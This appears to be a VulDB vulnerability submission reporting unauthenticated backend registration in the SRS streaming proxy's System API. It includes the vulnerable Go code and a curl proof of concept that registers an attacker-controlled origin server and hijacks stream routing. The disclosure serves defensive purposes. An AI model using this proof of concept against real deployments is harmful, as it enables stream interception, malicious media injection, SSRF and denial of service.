| Titre | https://github.com/ossrs/ srs v8.0.3 Missing Authentication |
|---|
| Description | srs-proxy System API -- Unauthenticated Backend Server Registration Enables Stream Hijacking
### Summary
The `srs-proxy` component exposes a System API server on port 12025 (bound to `x.x.x.x` by
default) that accepts backend server registrations with no authentication. Any network-adjacent
or remote attacker can POST to `/api/v1/srs/register` and inject an arbitrary IP and port as a
backend origin server. Once registered, the in-memory load balancer routes all subsequent media
stream requests for that stream URL to the attacker-controlled host, enabling full stream
hijacking, credential harvesting from stream consumers, and denial of service.
### Details
The System API server is started in
`internal/proxy/api.go` (`NewSystemAPI`/`systemAPI.Run`). When the `PROXY_SYSTEM_API`
environment variable contains only a port number (the default is `"12025"`), the Go HTTP server
prepends `":"` to produce `":12025"`, which binds on all interfaces (x.x.x.x):
```go
// internal/proxy/api.go, systemAPI.Run()
addr := v.environment.SystemAPI() // returns "12025"
if !strings.Contains(addr, ":") {
addr = ":" + addr // becomes ":12025" -> x.x.x.x:12025
}
```
The `/api/v1/srs/register` handler parses caller-supplied JSON and writes the resulting
`OriginServer` struct directly into the load balancer without any token, secret, or network
source check:
```go
// internal/proxy/api.go, systemAPI.Run() register handler
server := lb.NewOriginServer(func(srs *lb.OriginServer) {
srs.IP, srs.DeviceID = ip, deviceID
srs.ServerID, srs.ServiceID, srs.PID = serverID, serviceID, pid
srs.RTMP, srs.HTTP, srs.API = rtmp, stream, api
srs.SRT, srs.RTC = srt, rtc
srs.UpdatedAt = time.Now()
})
if err := v.loadBalancer.Update(ctx, server); err != nil { ... }
```
The `memoryLoadBalancer.Update()` (internal/lb/mem.go) stores the entry keyed on
`server.ID()` (concatenation of ServerID, ServiceID, and PID -- all caller-controlled).
The `Pick()` function then selects from all servers registered within the last 300 seconds,
and stickily assigns a server per stream URL. After injection, every stream request
(`HTTP-FLV`, `HLS`, `RTMP`, `WebRTC`, `SRT`) is proxied to the attacker's host.
The default configuration documented in
`docs/proxy/proxy-usage.md` and `docs/proxy/proxy-origin-cluster.md` starts the proxy
with `PROXY_SYSTEM_API=12025` and no firewall guidance, making port 12025 reachable from
the network by default.
### PoC
Prerequisites: a running srs-proxy built from the repository root (`go build -o srs-proxy ./cmd/proxy/`).
```bash
# Step 1: Start srs-proxy with default settings.
PROXY_HTTP_API=11985 PROXY_HTTP_SERVER=18080 PROXY_RTMP_SERVER=11935 \
PROXY_WEBRTC_SERVER=18000 PROXY_SRT_SERVER=20080 \
PROXY_SYSTEM_API=12025 PROXY_LOAD_BALANCER_TYPE=memory \
PROXY_STATIC_FILES=/tmp/empty-dir \
./srs-proxy &
# Step 2: Register a fake backend with no credentials required.
curl -s -X POST http://127.0.0.1:12025/api/v1/srs/register \
-H "Content-Type: application/json" \
-d '{
"device_id": "attacker-evil-server",
"ip": "10.0.0.99",
"server": "attacker-srv-id",
"service": "attacker-svc-id",
"pid": "1337",
"rtmp": ["19350"],
"http": ["8099"],
"api": ["19850"]
}'
# Output:
{"code":0,"pid":"101216"}
# Step 3: Request any stream from the HTTP stream port.
# The proxy routes to the injected backend instead of a legitimate origin.
curl -v http://127.0.0.1:18080/live/test.flv 2>&1
# Output (confirms routing to attacker-controlled 10.0.0.99:8099):
# serve http://127.0.0.1/live/test.flv with __defaultVhost__/live/test
# by backend SRS ip=10.0.0.99, id=attacker-srv-id-attacker-svc-id-1337,
# pid=1337, server=attacker-srv-id, service=attacker-svc-id,
# device=attacker-evil-server, rtmp=[19350], http=[8099], api=[19850]:
# do request to http://10.0.0.99:8099/live/test.flv: ... i/o timeout
# (Connection refused because 10.0.0.99 is not running in this test;
# a real attacker would serve a malicious RTMP/HTTP server at that address.)
```
### Impact
Any unauthenticated attacker who can reach port 12025 of the proxy (which binds on x.x.x.x
by default) can register a malicious host as a backend origin server. All subsequent
stream requests for any stream URL are then silently proxied to the attacker's server,
enabling: full interception and recording of live media streams, supply of malicious media
to viewers, denial of legitimate streaming service, and potential SSRF by pointing the
proxy at internal addresses. Because the registration requires no pre-shared secret, the
attack is trivially automated and persistent (re-registering every ~300 s keeps the entry
alive). Operators who follow the quick-start documentation are exposed out of the box. |
|---|
| La source | ⚠️ https://github.com/ossrs/srs/issues/4690 |
|---|
| Utilisateur | geochen (UID 78995) |
|---|
| Soumission | 17/09/2026 08:05 (il y a 19 jours) |
|---|
| Modérer | 05/10/2026 17:13 (18 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 413620 [OSSRS srs jusqu’à 7.0-a1 System API internal/proxy/api.go systemAPI.Run authentification faible] |
|---|
| Points | 20 |
|---|